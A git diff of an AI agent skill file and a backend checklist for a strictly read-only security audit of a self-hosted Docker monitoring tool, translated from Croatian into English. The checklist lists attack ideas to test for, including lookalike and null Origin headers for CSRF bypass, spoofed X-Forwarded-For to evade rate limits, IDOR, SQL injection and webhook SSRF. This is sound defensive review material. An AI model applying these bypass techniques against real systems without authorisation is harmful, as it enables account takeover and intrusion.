+- If I noticed something outside the scope, did I mention it rather than change it?
+
\ No newline at end of file
diff --git a/.claude/skills/security-audit/SKILL.md b/.claude/skills/security-audit/SKILL.md
index 6966d80..f382be6 100644
--- a/.claude/skills/security-audit/SKILL.md
+++ b/.claude/skills/security-audit/SKILL.md
@@ -1,167 +1,171 @@
---
name: security-audit
-description: Detaljan sigurnosni pregled (security review / audit) cijelog koda ili dijela koda, uz dojavu pronađenih propusta s ozbiljnošću, lokacijom, scenarijem napada i popravkom. Use when the user asks for a security review, security audit, vulnerability hunt, pentest-style code review, "provjeri sigurnost", "sigurnosni pregled", "ima li propusta", or wants a component (backend, collector, docker proxy, nginx, compose, CI, frontend, assistant) reviewed for security. For a quick check of only the pending diff, the built-in security-review skill is enough.
+description: Thorough security review (security audit) of the whole codebase or part of it, reporting every vulnerability found with severity, location, attack scenario and fix. Use when the user asks for a security review, security audit, vulnerability hunt, pentest-style code review, "check the security" / "provjeri sigurnost", "security review" / "sigurnosni pregled", "are there any vulnerabilities" / "ima li propusta", or wants a component (backend, collector, docker proxy, nginx, compose, CI, frontend, assistant) reviewed for security. For a quick check of only the pending diff, the built-in security-review skill is enough.
argument-hint: "[full | backend | collector | infra | frontend | assistant | <path> | diff]"
---
-
+
# Security audit
-
-Cilj: pronaći **stvarne, iskoristive** sigurnosne propuste u ovom repozitoriju i dojaviti ih
-tako da ih vlasnik može odmah popraviti. Projekt je open-source, self-hosted alat koji ima
-pristup Docker socketu i hostu, pa vlasnik želi **strogu** procjenu: ne ublažavaj rizik
-radi udobnosti, ne zaokružuj "vjerojatno OK" na "OK".
-
-Ovaj skill **ne mijenja kod** i ne commitira. Samo pregledava i izvještava. Popravke radiš
-tek kad korisnik to izričito zatraži.
-
-## Argumenti
-
-`$ARGUMENTS` određuje opseg. Bez argumenta = `full`.
-
-| Argument | Opseg |
+
+Goal: find **real, exploitable** security vulnerabilities in this repository and report them
+so the owner can fix them right away. The project is an open-source, self-hosted tool with
+access to the Docker socket and the host, so the owner wants a **strict** assessment: do not
+downplay risk for convenience, and do not round "probably OK" up to "OK".
+
+This skill **does not change code** and does not commit. It only reviews and reports. Make
+fixes only when the user explicitly asks for them.
+
+## Arguments
+
+`$ARGUMENTS` sets the scope. No argument = `full`.
+
+| Argument | Scope |
|---|---|
-| `full` | sve dolje, redom |
+| `full` | everything below, in order |
| `backend` | `src/backend/**` |
| `collector` | `src/collector/**` (collector, docker_proxy, system_helper) |
| `infra` | `docker/**`, `*compose*.yml`, `example.env`, `.github/**`, `.gitignore`, `.dockerignore` |
| `frontend` | `src/frontend/**` |
-| `assistant` | Incident agent: `src/agent/**` (providers, tools, investigate, diagnosis, chat, masking, safety, jobs, worker, usage), `SYSTEM_PROMPT.md`, `DIAGNOSIS_PROMPT.md`, konverzacije u backendu |
-| `<path>` | taj put (datoteka ili direktorij) plus ono što ga poziva |
-| `diff` | samo neprihvaćene promjene (`git diff` + `git diff --staged`) pročitane u kontekstu cijelih datoteka |
-
-Ako je argument dvosmislen, odaberi najbliži opseg i na početku izvještaja reci koji si odabrao.
-
-## Pravila rada (čitaj prije početka)
-
-1. **Čitaj datoteke cijele.** `grep` služi za pronalaženje kandidata, nikad za oslobađanje
- koda od sumnje. Funkcija koja izgleda sigurno često ima rupu u pozivatelju ili u redoslijedu
- provjera. `src/backend/main.py` ima ~1800 redaka; pročitaj ga u cijelosti, u dijelovima.
-2. **Ne ispisuj tajne.** `.env` postoji lokalno. Ako ga treba otvoriti, ispiši samo *imena*
- varijabli i je li vrijednost prazna/zadana, nikad vrijednosti. Isto vrijedi za tokene,
- ključeve i lozinke pronađene u kodu ili povijesti: u izvještaju navedi lokaciju i vrstu,
- ne sadržaj (najviše prva 4 znaka).
-3. **Samo lokalno i neškodljivo.** Ne šalji zahtjeve prema stvarnim sustavima, ne pokreći
- Docker kontejnere ni skeniranja. Za potvrdu propusta smiješ pokrenuti postojeće testove
- (`pytest`) i napisati kratku skriptu u scratchpad direktoriju koja poziva funkcije
- izravno s neprijateljskim ulazom. Ništa što pokreneš ne smije dirati stvarnu bazu ili
- mrežu.
-4. **Provjeri tvrdnje iz dokumentacije.** `SECURITY.md` i `docs/` tvrde mnogo ("rate limited",
- "single-use", "capped", "never follows symlinks"). Za svaku tvrdnju u svom opsegu nađi kod
- koji to provodi i provjeri da vrijedi na *svim* putevima. Tvrdnja bez pokrića u kodu je
- nalaz (dokumentirana kontrola ne postoji), a kontrola koja postoji samo na jednom putu
- također.
-5. **Razmišljaj kao napadač, ne kao lintar.** Za svaki ulaz pitaj: tko ga može poslati, što je
- najgore što može sadržavati, što sustav radi s tim i što je najgore što se zbog toga može
- dogoditi. Profile napadača vidi u [references/threat-model.md](references/threat-model.md).
-6. **Prvo provjeri je li nešto već riješeno.** Prije nego prijaviš nalaz, nađi postojeću
- kontrolu (middleware, dependency, nginx pravilo, test) i provjeri zaobilazi li se. Nalaz
- koji ignorira postojeću zaštitu je šum i troši korisnikovo povjerenje.
-7. **Svaki nalaz verificiraj** (vidi niže) i razvrstaj kao `POTVRĐENO` ili `TREBA PROVJERU`.
- Ne prijavljuj ono što nisi mogao provjeriti kao potvrđeno.
-
-## Postupak
-
-### 1. Priprema (uvijek)
-
-- Pročitaj [references/threat-model.md](references/threat-model.md) i `SECURITY.md`.
-- `git status` i `git log --oneline -15`: što se nedavno mijenjalo, nove površine napada
- najčešće su u svježem kodu.
-- Za `backend`/`full`: izlistaj sve rute (`grep -nE "^@(app|router)\.(get|post|put|patch|delete)" src/backend/main.py`)
- i složi **inventar ruta**: metoda, put, tko smije (anonimno / bilo koji korisnik / admin /
- kolektor s tokenom), je li iza CSRF/Origin provjere, ima li rate limit, što čita/piše.
- Ruta bez jasnog odgovora u bilo kojem stupcu je kandidat za nalaz.
-- Pročitaj popis ovisnosti (`requirements*.txt`, `src/frontend/package.json`) radi kasnije
- provjere.
-
-### 2. Pregled po područjima
-
-Za svako područje u opsegu pročitaj odgovarajuću kontrolnu listu i prođi je **stavku po stavku**
-nad stvarnim kodom:
-
-| Područje | Kontrolna lista |
+| `assistant` | Incident agent: `src/agent/**` (providers, tools, investigate, diagnosis, chat, masking, safety, jobs, worker, usage), `SYSTEM_PROMPT.md`, `DIAGNOSIS_PROMPT.md`, conversations in the backend |
+| `<path>` | that path (file or directory) plus whatever calls it |
+| `diff` | only uncommitted changes (`git diff` + `git diff --staged`), read in the context of the full files |
+
+If the argument is ambiguous, pick the closest scope and state which one you chose at the
+top of the report.
+
+## Working rules (read before starting)
+
+1. **Read files in full.** `grep` is for finding candidates, never for clearing code of
+ suspicion. A function that looks safe often has a hole in its caller or in the order of
+ checks. `src/backend/main.py` is ~1800 lines; read all of it, in chunks.
+2. **Never print secrets.** `.env` exists locally. If you need to open it, print only the
+ variable *names* and whether each value is empty/default, never the values. The same goes
+ for tokens, keys and passwords found in code or history: in the report give the location
+ and type, not the content (at most the first 4 characters).
+3. **Local and harmless only.** Do not send requests to real systems, and do not start Docker
+ containers or run scans. To confirm a vulnerability you may run the existing tests
+ (`pytest`) and write a short script in the scratchpad directory that calls functions
+ directly with hostile input. Nothing you run may touch a real database or the network.
+4. **Verify claims made in the documentation.** `SECURITY.md` and `docs/` claim a lot ("rate
+ limited", "single-use", "capped", "never follows symlinks"). For every claim in your scope,
+ find the code that enforces it and check that it holds on *all* paths. A claim with no
+ backing in code is a finding (the documented control does not exist), and so is a control
+ that exists on only one path.
+5. **Think like an attacker, not a linter.** For every input ask: who can send it, what is the
+ worst it can contain, what does the system do with it, and what is the worst that can
+ happen as a result. See attacker profiles in
+ [references/threat-model.md](references/threat-model.md).
+6. **First check whether something is already handled.** Before reporting a finding, find the
+ existing control (middleware, dependency, nginx rule, test) and check whether it can be
+ bypassed. A finding that ignores an existing protection is noise and erodes the user's
+ trust.
+7. **Verify every finding** (see below) and classify it as `CONFIRMED` or `NEEDS VERIFICATION`.
+ Never report something you could not verify as confirmed.
+## Procedure
+
+### 1. Preparation (always)
+
+- Read [references/threat-model.md](references/threat-model.md) and `SECURITY.md`.
+- `git status` and `git log --oneline -15`: what changed recently; new attack surface is most
+ often in fresh code.
+- For `backend`/`full`: list all routes (`grep -nE "^@(app|router)\.(get|post|put|patch|delete)" src/backend/main.py`)
+ and build a **route inventory**: method, path, who may call it (anonymous / any user /
+ admin / collector with token), whether it is behind a CSRF/Origin check, whether it has a
+ rate limit, what it reads/writes. A route without a clear answer in any column is a
+ candidate finding.
+- Read the dependency lists (`requirements*.txt`, `src/frontend/package.json`) for later
+ review.
+### 2. Review by area
+
+For each area in scope, read the matching checklist and go through it **item by item**
+against the actual code:
+
+| Area | Checklist |
|---|---|
-| Backend (API, auth, sesije, 2FA, baza, pravila, alarmi) | [references/checklist-backend.md](references/checklist-backend.md) |
-| Collector, docker proxy, system helper, LLM asistent | [references/checklist-collector-agent.md](references/checklist-collector-agent.md) |
-| Docker, compose, nginx, Postgres, CI, repozitorij, ovisnosti | [references/checklist-infra.md](references/checklist-infra.md) |
+| Backend (API, auth, sessions, 2FA, database, rules, alerts) | [references/checklist-backend.md](references/checklist-backend.md) |
+| Collector, docker proxy, system helper, LLM assistant | [references/checklist-collector-agent.md](references/checklist-collector-agent.md) |
+| Docker, compose, nginx, Postgres, CI, repository, dependencies | [references/checklist-infra.md](references/checklist-infra.md) |
| Frontend | [references/checklist-frontend.md](references/checklist-frontend.md) |
-
-Kontrolne liste su podsjetnici, **ne granica**. Ako vidiš nešto sumnjivo što nije na listi,
-istraži i to.
-
-**Paralelizacija za `full`:** opseg je velik. Ako ti je dostupan alat `Agent`, pokreni četiri
-agenta paralelno (po jedno područje iz tablice), svakome daj samostalan prompt iz predloška
-niže, a zatim sam spoji, deduplikaj i **ponovno verificiraj** sve što su vratili prije
-izvještaja. Nalaz koji agent prijavi nije potvrđen dok ga ti nisi pročitao u kodu. Ako ne
-možeš koristiti agente, prođi područja redom sam.
-
-Predložak za agenta:
-
-> Radiš sigurnosni pregled (samo čitanje, ništa ne mijenjaj, ne commitaj, ne ispisuj vrijednosti
-> tajni) područja **<područje>** u repozitoriju <putanja>. Prvo pročitaj
-> `.claude/skills/security-audit/references/threat-model.md` i
-> `.claude/skills/security-audit/references/<checklist>.md`, zatim pročitaj **cijele** datoteke
-> tog područja i prođi kontrolnu listu stavku po stavku. Za svaki nalaz vrati: naslov,
-> datoteka:redak, što je pogrešno, konkretan scenarij napada (tko, što pošalje, što dobije),
-> koju postojeću zaštitu si provjerio i zašto ne pomaže, predloženi popravak i svoju sigurnost
-> (visoka/srednja/niska). Navedi i koje datoteke si pročitao, a koje nisi. Ne prijavljuj
-> teorijske probleme bez puta do iskorištenja.
-
-### 3. Verifikacija svakog nalaza
-
-Za svaki kandidat napiši (barem u glavi, a u izvještaju sažeto):
-
-1. **Izvor:** tko kontrolira ulaz i na kojem je povjerenju (anonimni, korisnik, admin,
- kolektor, VPN peer, podatak s hosta)?
-2. **Put:** kojim funkcijama ulaz stiže do opasnog mjesta? Navedi datoteke i retke.
-3. **Zaštite na putu:** koje provjere, validacije, limiti, nginx pravila postoje? Zašto ne
- pomažu (ili zašto pomažu, pa nalaza nema)?
-4. **Učinak:** što napadač dobiva (čitanje podataka, promjena stanja, preuzimanje računa,
- izvršavanje koda, DoS, eskalacija na host)?
-5. **Dokaz:** gdje je moguće, potvrdi testom ili kratkom lokalnom skriptom. Ako ne možeš,
- nalaz je `TREBA PROVJERU` s opisom što točno treba provjeriti.
-
-Odbaci kandidata ako: nema puta do iskorištenja bez prethodnog admin pristupa koji već daje
-isti učinak, ako je zaštićen nečim što si provjerio, ili ako je čista stilska preporuka.
-Takve stvari, ako vrijede, idu u dio "Očvršćivanje" kratkom stavkom, ne među nalaze.
-
-### 4. Ozbiljnost
-
-Ocjenjuj prema učinku **u ovom sustavu** (pristup hostu i Docker API-ju je najskuplja stvar
-koju treba braniti), uz prednost strožoj ocjeni kad si u dvojbi između dvije razine:
-
-| Razina | Značenje | Primjeri |
+
+The checklists are reminders, **not a boundary**. If you see something suspicious that is
+not on the list, investigate it too.
+
+**Parallelizing `full`:** the scope is large. If the `Agent` tool is available, launch four
+agents in parallel (one per area in the table), give each a self-contained prompt from the
+template below, then merge, deduplicate and **re-verify** everything they return yourself
+before reporting. A finding reported by an agent is not confirmed until you have read it in
+the code yourself. If you cannot use agents, go through the areas one by one yourself.
+
+Agent template:
+
+> You are doing a security review (read-only: change nothing, do not commit, do not print
+> secret values) of the **<area>** area in the repository at <path>. First read
+> `.claude/skills/security-audit/references/threat-model.md` and
+> `.claude/skills/security-audit/references/<checklist>.md`, then read the **full** files of
+> that area and go through the checklist item by item. For each finding return: title,
+> file:line, what is wrong, a concrete attack scenario (who, what they send, what they get),
+> which existing protection you checked and why it does not help, the proposed fix, and your
+> confidence (high/medium/low). Also list which files you read and which you did not. Do not
+> report theoretical issues without a path to exploitation.
+
+### 3. Verifying each finding
+
+For each candidate, work out (at least in your head, and briefly in the report):
+
+1. **Source:** who controls the input and at what trust level (anonymous, user, admin,
+ collector, VPN peer, data from the host)?
+2. **Path:** through which functions does the input reach the dangerous point? Give files and
+ lines.
+3. **Protections on the path:** which checks, validations, limits and nginx rules exist? Why
+ do they not help (or why do they help, in which case there is no finding)?
+4. **Impact:** what does the attacker gain (reading data, changing state, account takeover,
+ code execution, DoS, escalation to the host)?
+5. **Proof:** where possible, confirm with a test or a short local script. If you cannot, the
+ finding is `NEEDS VERIFICATION`, with a description of exactly what needs to be checked.
+Discard a candidate if: there is no path to exploitation without prior admin access that
+already grants the same impact, it is protected by something you have checked, or it is a
+purely stylistic recommendation. Such items, if valid, go into the "Hardening" section as a
+short bullet, not among the findings.
+
+### 4. Severity
+
+Rate by impact **in this system** (access to the host and the Docker API is the most
+expensive thing to defend), and prefer the stricter rating when torn between two levels:
+
+| Level | Meaning | Examples |
|---|---|---|
-| **KRITIČNO** | Daljinsko, bez/gotovo bez autentikacije, vodi do preuzimanja dashboarda, izvršavanja koda ili izlaska na host | zaobilaženje autentikacije, preuzimanje prve admin registracije, RCE, pristup Docker socketu iz javne strane |
-| **VISOKO** | Autentificirani ili uvjetovani napad s velikim učinkom | eskalacija korisnik→admin, zaobilaženje 2FA, IDOR nad tuđim podacima, SQL injection, stored XSS u admin kontekstu, kompromitirani kolektor utječe na dashboard ili host |
-| **SREDNJE** | Stvarno iskoristivo, ograničen učinak ili traži poseban uvjet | CSRF na manje osjetljivoj akciji, rate limit koji se zaobilazi, curenje informacija, DoS jednim zahtjevom |
-| **NISKO** | Slabost bez jasnog puta do štete sam za sebe | nedostajući header, enumeracija korisnika, preslab zadani parametar |
-| **INFO** | Zapažanje ili očvršćivanje | kontrola koja radi, ali je krhka |
-
-### 5. Izvještaj
-
-Format i redoslijed: [references/report-format.md](references/report-format.md). Ukratko:
-sažetak (broj nalaza po razini, najvažniji jedan redak), **jedna tablica svih nalaza sortirana
-prema riziku od najvišeg prema najnižem** (KRITIČNO, VISOKO, SREDNJE, NISKO, INFO), detalji
-nalaza istim redom, tvrdnje iz dokumentacije koje kod ne podržava, očvršćivanje i pokrivenost
-(što je pregledano, što nije i zašto).
-
-**Tablica je obavezna.** Nalaze nikad ne prikazuj samo kao tekst niti grupirane po područjima.
-Rezultate paralelnih agenata spoji u jednu tablicu i sortiraj ih zajedno.
-
-Datoteke referenciraj kao markdown linkove (`[main.py:412](src/backend/main.py#L412)`), da su
-klikabilne u editoru.
-
-Izvještaj ispiši u razgovoru. **Ne spremaj ga u datoteku** (npr. `docs/`) dok to korisnik ne
-zatraži, jer može sadržavati neobjavljene ranjivosti.
-
-Na kraju ponudi sljedeći korak jednom rečenicom (npr. popraviti nalaze od najtežeg prema
-najlakšem, uz test za svaki) i **čekaj odgovor**.
-
-## Što ovaj skill nije
-
-- Nije dinamičko testiranje: ne skenira živi sustav, ne fuzzira, ne pokreće exploite.
-- Nije zamjena za `pip-audit` / `npm audit` ili skener slika; ako su dostupni i korisnik
- odobri mrežu, pokreni ih, a ako nisu, to **eksplicitno navedi** u pokrivenosti kao
- nepregledano (ovisnosti se ne ocjenjuju "iz glave" jer verzije nisu pouzdan izvor).
-- Ne potvrđuje da je sustav siguran. Izvještaj "nema nalaza" smije reći samo "u pregledanom
- opsegu nisam našao iskoristive propuste", uz popis onoga što je pregledano.
+| **CRITICAL** | Remote, with no or almost no authentication, leads to dashboard takeover, code execution or escape to the host | authentication bypass, hijacking the first admin registration, RCE, access to the Docker socket from the public side |
+| **HIGH** | Authenticated or conditional attack with large impact | user→admin escalation, 2FA bypass, IDOR on other users' data, SQL injection, stored XSS in admin context, a compromised collector affecting the dashboard or host |
+| **MEDIUM** | Genuinely exploitable, limited impact or requires a special condition | CSRF on a less sensitive action, bypassable rate limit, information leak, single-request DoS |
+| **LOW** | Weakness with no clear path to harm on its own | missing header, user enumeration, weak default parameter |
+| **INFO** | Observation or hardening | a control that works but is fragile |
+
+### 5. Report
+
+Format and order: [references/report-format.md](references/report-format.md). In short:
+summary (number of findings per level, the most important one in a single line), **a single
+table of all findings sorted by risk from highest to lowest** (CRITICAL, HIGH, MEDIUM, LOW,
+INFO), finding details in the same order, documentation claims the code does not support,
+hardening, and coverage (what was reviewed, what was not, and why).
+
+**The table is mandatory.** Never present findings only as prose or grouped by area. Merge
+the results of parallel agents into one table and sort them together.
+
+Reference files as markdown links (`[main.py:412](src/backend/main.py#L412)`) so they are
+clickable in the editor.
+
+Print the report in the conversation. **Do not save it to a file** (e.g. `docs/`) unless the
+user asks, because it may contain undisclosed vulnerabilities.
+
+At the end, offer the next step in one sentence (e.g. fix the findings from most to least
+severe, with a test for each) and **wait for a reply**.
+
+## What this skill is not
+
+- It is not dynamic testing: it does not scan a live system, fuzz, or run exploits.
+- It is not a replacement for `pip-audit` / `npm audit` or an image scanner; if they are
+ available and the user approves network access, run them, and if not, **explicitly list**
+ dependencies as not reviewed in the coverage section (dependencies are not assessed "from
+ memory", because version numbers alone are not a reliable source).
+- It does not certify that the system is secure. A "no findings" report may only say "I found
+ no exploitable vulnerabilities in the reviewed scope", together with a list of what was
+ reviewed.
\ No newline at end of file
diff --git a/.claude/skills/security-audit/references/checklist-backend.md b/.claude/skills/security-audit/references/checklist-backend.md
index 46651a5..99741dc 100644
--- a/.claude/skills/security-audit/references/checklist-backend.md
+++ b/.claude/skills/security-audit/references/checklist-backend.md
@@ -1,140 +1,138 @@
-# Kontrolna lista: backend (`src/backend/**`)
-
-Čitaj `main.py`, `auth.py`, `totp.py`, `secrets_box.py`, `rate_limit.py`, `rules.py`,
+# Checklist: backend (`src/backend/**`)
+
+Read `main.py`, `auth.py`, `totp.py`, `secrets_box.py`, `rate_limit.py`, `rules.py`,
`models.py`, `db.py`, `config.py`, `history.py`, `rollups.py`, `stats.py`, `alerts.py`,
-`seed_user.py`, `reset_2fa.py` u cijelosti. Za svaku stavku nađi kod koji je provodi.
-
-## 1. Autentikacija i autorizacija (najveći prioritet)
-
-- [ ] **Svaka ruta ima svjestan odgovor** na "tko smije?" (inventar ruta iz koraka 1). Ruta
- koja zaboravi `Depends(...)` za auth je zadano **otvorena**: traži takve.
-- [ ] Razlika *anonimno / prijavljen / admin / kolektor* provodi se na serveru, nikad samo u
- frontendu. Admin-only rute stvarno provjeravaju ulogu (ne samo prijavu).
-- [ ] **Ograničena sesija** (admin bez 2FA dok je politika uključena) stvarno može doći samo do
- profila, postavljanja 2FA i odjave. Provjeri *svaku* rutu, ne samo ono što test pokriva,
- uključujući nove rute dodane nakon te značajke.
-- [ ] **IDOR / horizontalna autorizacija:** rute s ID-evima (server, kontejner, konverzacija,
- sesija, token, korisnik, pravilo, alarm) provjeravaju vlasništvo/ulogu. Posebno: popis
- sesija po javnim ID-evima, brisanje tuđe sesije, konverzacije drugog korisnika.
-- [ ] **Mass assignment:** modeli zahtjeva ne dopuštaju polja kao `is_admin`, `role`,
- `require_2fa`, `server_id`, `owner_id`. Provjeri Pydantic modele i `**body`/`setattr`.
-- [ ] Zadnji admin ne može obrisati/degradirati sam sebe do stanja bez admina (ili je to
- namjerno i dokumentirano). Admin ne može eskalirati drugog bez provjere.
-- [ ] Prvi račun postaje admin: provjeri **sve** puteve (setup token, `ALLOW_REGISTRATION`,
- utrka dvaju istodobnih zahtjeva, `ADMIN_BOOTSTRAP_TOKEN` usporedba, brisanje tokena nakon
- prvog računa). Je li usporedba tokena konstantnog vremena (`hmac.compare_digest`)?
-
-## 2. Sesije, kolačići, CSRF
-
-- [ ] ID sesije: iz `secrets` (ne `random`/`uuid1`), dovoljna entropija, pohranjen hashiran ili
- barem nikad vraćen pregledniku u tijelu odgovora. Rotacija pri promjeni privilegija
- (prijava, 2FA, promjena lozinke).
-- [ ] Zastavice kolačića: `HttpOnly`, `Secure` (i u kojim uvjetima se gasi: provjeri da
- zadana vrijednost nije nesigurna), `SameSite`, `Path`, istek.
-- [ ] Istek i odjava stvarno brišu sesiju na serveru; logout-everywhere radi.
-- [ ] **Provjera `Origin`/`Sec-Fetch-Site`** na POST/PUT/PATCH/DELETE: pokušaj zaobilaženja:
- `Origin` s istim prefiksom (`https://dash.example.com.evil.tld`), različit port/shema,
- `Origin: null`, nedostajući `Origin` + `Sec-Fetch-Site: same-site`, zaglavlje `Host`
- pod kontrolom napadača, `CORS_ORIGINS` s džokerima. Radi li provjera za **sve** metode
- i sve rute (middleware ili po ruti)? Postoji li izuzeće za puteve kolektora i može li ga
- se zloupotrijebiti da bi se zaobišla provjera na ruti korisnika?
-- [ ] CORS: `allow_origins` nije `*` uz `allow_credentials=True`; nema refleksije proizvoljnog
- `Origin`.
-
-## 3. Lozinke, 2FA, tokeni
-
-- [ ] Hashiranje lozinke: bcrypt/argon2 s razumnim troškom; granica 72 B provodi se (odbija,
- ne skraćuje); nema lozinki u logovima; promjena lozinke traži staru lozinku (ili je
- sesija svježa) i poništava ostale sesije.
-- [ ] **Timing/enumeracija računa:** prijava, reset, registracija vraćaju iste odgovore i
- slično vrijeme za nepostojeći email i pogrešnu lozinku (fiktivni hash za nepostojeće
- račune?).
-- [ ] **Rate limit** (`rate_limit.py`): ključ (IP, email) ne može se zaobići promjenom
- zaglavlja (`X-Forwarded-For` iz nepouzdanog izvora), velikim/malim slovima ili
- razmacima u emailu, unicode normalizacijom; memorija ograničena (napadač ne može
- napuhati strukturu milijunima ključeva); rade li limiti pod više radnih procesa
- (stanje u memoriji po procesu = efektivni limit × broj procesa)?
-- [ ] **TOTP** (`totp.py`): usporedba konstantnog vremena; prozor ±1; **zabrana ponovne
- uporabe istog koda je atomarna** (jedinstveni indeks/UPDATE s uvjetom, ne
- čitaj-pa-piši); brojač pokušaja po računu i po adresi ne resetira se ponovnim
- početkom lozinke; međutoken (5 min) je jednokratan, vezan uz korisnika i ne vrijedi
- kao sesija nigdje.
-- [ ] **Recovery kodovi:** entropija, hashirani, jednokratni *atomarno*, brišu se/ponovno
- generiraju pri isključivanju 2FA.
-- [ ] `secrets_box.py`: Fernet ključ iz okoline, ponašanje bez ključa ne smije ostaviti
- tajne u čistom tekstu; greška dekripcije ne curi detalje; ključ se ne logira.
-- [ ] **Tokeni servera i join tokeni:** generirani iz `secrets`, hashirani (SHA-256 je u redu
- za tokene visoke entropije), usporedba konstantnog vremena ili pretraga po hashu,
- jednokratnost i istek **atomarni**, ograničenje otvorenih tokena (20) provodi se i pod
- paralelnim zahtjevima, brisanje servera poništava token.
-- [ ] Ponovno uparivanje postojećeg stroja (isti machine ID) traži `replace: true` na
- serveru, ne samo u UI-ju; mogu li se vjerodajnice tuđeg servera prepisati bez toga?
-
-## 4. Ulazi koje šalje kolektor (nepouzdani)
-
-- [ ] Svaka ruta kolektora (register, poll, enroll, ingest, helper događaji) odbija se kad
- zahtjev nije došao kroz gate (`X-Collector-Via` / `COLLECTOR_ACCESS=strict`); provjeri
- da klijent ne može sam poslati to zaglavlje preko javne strane (nginx ga mora
- prebrisati/ukloniti, backend ga ne smije slijepo vjerovati ako je backend dostupan
- drugim kontejnerima).
-- [ ] Autentikacija kolektora: token po serveru; kolektor jednog servera ne može pisati
- podatke drugog (`server_id` iz tokena, ne iz tijela zahtjeva!).
-- [ ] **Validacija:** tipovi, duljine, rasponi, strogi parsing vremena, `sha256:`+64 hex,
- maks. 500 kontejnera, imena ≤128, ograničenja događaja po check-inu i po satu. Traži
- polja koja se spremaju bez čišćenja (nova polja dodana kasnije često zaobiđu).
-- [ ] Veličina tijela zahtjeva ograničena (nginx `client_max_body_size` **i** Pydantic
- `max_length`), dubina/veličina JSON-a, broj elemenata lista.
-- [ ] Idempotentnost/replay: ponovljeni check-in ne stvara duplicirane incidente ni neograničen
- rast tablica. Hostilni podaci ne mogu "utišati" alarme drugih servera.
-
-## 5. Baza i injekcije
-
-- [ ] Svaki `text(...)`, `execute(f"...")`, `.format`, `%` ili spajanje stringova u SQL-u:
- jesu li vrijednosti vezane parametrima? Dinamički `ORDER BY`, imena stupaca/metrika i
- `LIMIT` iz zahtjeva idu samo kroz **bijelu listu**.
-- [ ] Imena kontejnera i putanje mountova ulaze u ključeve incidenata/cache ključeve: mogu
- li se sudarati ili ubrizgati separator (`:`, `|`, newline) i spojiti dva incidenta?
-- [ ] LIKE upiti s korisničkim unosom (escape `%`/`_`), regex iz korisničkog unosa (ReDoS;
- `rules.py` ima 593 retka pravila, provjeri koje izraze evaluira i je li to sigurno).
-- [ ] **`rules.py`: izvršava li se išta dinamički** (`eval`, `exec`, `compile`, `getattr` s
- korisničkim imenom, `importlib`, šabloni stringova s korisničkim formatom)? Ako se
- pravila/alarmi konfiguriraju korisnički, što sve konfiguracija smije izraziti?
-- [ ] Ograničenja stranica/`limit`, broj redaka, vremenski rasponi na `history`/`stats`
- (fiksna lista raspona i metrika, ograničen cache, ključevi iz validiranih vrijednosti).
-- [ ] Transakcije: nema stanja u kojem pad usred operacije ostavlja račun bez 2FA ili sesiju
- koja preživljava promjenu lozinke.
-
-## 6. Izlazne veze (SSRF) i integracije
-
-- [ ] Kanali obavijesti (`notify.py`: ntfy, Discord, webhook, email) postavljaju se preko API-ja
- po korisniku: shema samo http(s), loopback/link-local/metadata uvijek odbijeni, privatne
- LAN adrese samo za admine, provjera nakon DNS razrješenja i spajanje na provjerenu adresu
- (DNS rebinding), bez praćenja preusmjeravanja, timeout. Provjeri i SMTP put.
-- [ ] Sadržaj odlazne poruke ne sadrži tajne (tokene, hashove) ni neocišćene tuđe stringove u
- kontekstu gdje se interpretiraju (Slack/markdown/HTML/email zaglavlja → injekcija).
-- [ ] Nema `requests`/`httpx` poziva prema URL-u iz zahtjeva bez gornjih zaštita.
-
-## 7. Konfiguracija, tajne, logiranje, greške
-
-- [ ] `config.py`/okolina: nesigurne zadane vrijednosti (prazan `SECRETS_KEY`,
- `ALLOW_REGISTRATION=true`, `COLLECTOR_ACCESS` ≠ strict, `DEBUG`, `CORS_ORIGINS=*`).
- Zadano mora biti sigurno, a nesigurno mora zahtijevati namjernu promjenu.
-- [ ] Tajne se ne ispisuju u logove, iznimke ni odgovore (setup token se ispisuje **namjerno**
- pri startu dok nema računa; provjeri da se ne ispisuje poslije). Nema stack traceova ni
- SQL-a u HTTP odgovorima; nema `/docs`/`/openapi.json` izloženih na javnoj strani ako to
- nije namjera (provjeri `FastAPI(docs_url=...)` i nginx).
-- [ ] **Log injection:** korisnički i kolektorski stringovi u logovima s novim redom/ANSI
- sekvencama.
-- [ ] `seed_user.py` i `reset_2fa.py`: bez ugrađenih vjerodajnica, bez ispisa lozinke, ne
- mogu se pokrenuti preko API-ja, ne ostavljaju tajne u povijesti ljuske (argumenti).
-- [ ] Pokretanje: backend se ne pokreće s `--reload`/debug u produkcijskoj slici; radi kao
- neprivilegirani korisnik (vidi infra listu).
-
-## 8. Dostupnost (DoS jednim korisnikom)
-
-- [ ] Skupi endpointi (statistika, flota, povijest, eksport) imaju ograničenje rada i cache;
- nema neograničenih petlji nad podacima koje kontrolira kolektor.
-- [ ] Dugotrajne operacije ne blokiraju event loop (sinkroni DB/CPU rad u `async def`
- ruti blokira sve zahtjeve: jedan spor zahtjev = zastoj).
-- [ ] Rast podataka: tablice koje se pune iz check-inova imaju gornju granicu ili retenciju;
- zabilježi ako je rast neograničen (poznato za sažetke povijesti).
+`seed_user.py`, `reset_2fa.py` in full. For each item, find the code that enforces it.
+
+## 1. Authentication and authorization (highest priority)
+
+- [ ] **Every route has a deliberate answer** to "who may call this?" (route inventory from
+ step 1). A route that forgets the auth `Depends(...)` is **open** by default: look for
+ these.
+- [ ] The *anonymous / logged in / admin / collector* distinction is enforced on the server,
+ never only in the frontend. Admin-only routes actually check the role (not just login).
+- [ ] A **restricted session** (admin without 2FA while the policy is on) can really reach
+ only the profile, 2FA setup and logout. Check *every* route, not just what the test
+ covers, including new routes added after that feature.
+- [ ] **IDOR / horizontal authorization:** routes with IDs (server, container, conversation,
+ session, token, user, rule, alert) check ownership/role. In particular: listing
+ sessions by public ID, deleting another user's session, another user's conversations.
+- [ ] **Mass assignment:** request models do not accept fields like `is_admin`, `role`,
+ `require_2fa`, `server_id`, `owner_id`. Check the Pydantic models and `**body`/`setattr`.
+- [ ] The last admin cannot delete/demote themselves into a state with no admin (or this is
+ intentional and documented). An admin cannot escalate another user without checks.
+- [ ] The first account becomes admin: check **all** paths (setup token,
+ `ALLOW_REGISTRATION`, a race between two concurrent requests, `ADMIN_BOOTSTRAP_TOKEN`
+ comparison, token removal after the first account). Is the token comparison
+ constant-time (`hmac.compare_digest`)?
+## 2. Sessions, cookies, CSRF
+
+- [ ] Session ID: from `secrets` (not `random`/`uuid1`), enough entropy, stored hashed or at
+ least never returned to the browser in a response body. Rotated on privilege change
+ (login, 2FA, password change).
